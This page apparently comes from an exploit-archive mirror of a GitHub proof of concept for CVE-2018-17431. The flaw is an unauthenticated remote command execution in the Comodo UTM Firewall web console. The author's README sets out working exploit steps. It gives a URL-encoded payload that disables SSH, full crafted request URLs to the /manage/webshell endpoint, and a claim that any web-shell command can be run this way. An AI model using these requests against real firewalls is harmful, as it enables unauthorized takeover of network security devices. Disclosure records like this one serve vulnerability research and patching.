CVE-2018-17431 PoC — Comodo UTM Firewall Web Console 授权问题漏洞

Source

https://github.com/Fadavvi/CVE-2018-17431-PoC

Associated Vulnerability

Title:Comodo UTM Firewall Web Console 授权问题漏洞 (CVE-2018-17431)
Description:Comodo UTM Firewall是美国Comodo Group公司的一款UTM防火墙。该产品包括反垃圾邮件、内容过滤、Web过滤和防病毒等功能。Web Console是其中的一个基于Web的管理控制台程序。 Comodo UTM Firewall 2.7.0之前版本中的Web Console存在安全漏洞。远程攻击者可借助特制的URL利用该漏洞未经身份验证便可执行任意代码。

Description

Proof of consept for CVE-2018-17431

Readme

## CVE-2018-17431-PoC
Proof of consept for CVE-2018-17431

### Exploit Title: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 Remote Command Execution (Web Shell based)
### Exploit Author: Milad Fadavvi
### Vendor Homepage: https://www.comodo.com/
### Software Link: https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276
### Version: before 2.7.0 & 1.5.0
### Tested on: Windows:firefox/chrome - Kali:firefox
### Discovery Date: 2018-08-15 (reported in sameday)
### Confirmation than bug exist: 2018-09-22 ([Ticket ID: XWR-503-79437](https://github.com/Fadavvi/CVE-2018-17431-PoC/blob/master/Comodo-Confirmarion.png))
### Patch released: 2018-11-23 [Release Notes from Comodo](https://github.com/Fadavvi/CVE-2018-17431-PoC/raw/master/DomeFW2.7.0.ReleaseNote.pdf)

Exploit:

1. WebShell simulation:

        For example disable SSH in web shell is like this:
            - service [hit enter]
            - ssh [hit enter]
            - disable [hit enter]

2. Encode
        
        make above sequense encode with URL ECODING
        (I used burp encoder plugin)

        %73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a

3. Run 

        Base URL: https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=[Encoded_Command]&l=[Integer]&_=1534440840152
        
        
                  https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=%0a&l=[Integer]&_=1534440840152 (extra enter key for run the command)
                  

        Example: https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=21&_=1534440840152
        
              https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%0a&l=21&_=1534440840152


A page with **"Configuration has been altered"** message will show up and configuration changed!



### With this technic, we can simulate all WebShell Commands.

File Snapshot


 [4.0K]  /data/pocs/ba48da134b73e09a6bcde78160ca24efd8a48556
├── [ 37K]  Comodo-Confirmarion.png
├── [568K]  DomeFW2.7.0.ReleaseNote.pdf
├── [1.8K]  Exploit-CVE-2018-17431.py
└── [1.9K]  README.md

0 directories, 4 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!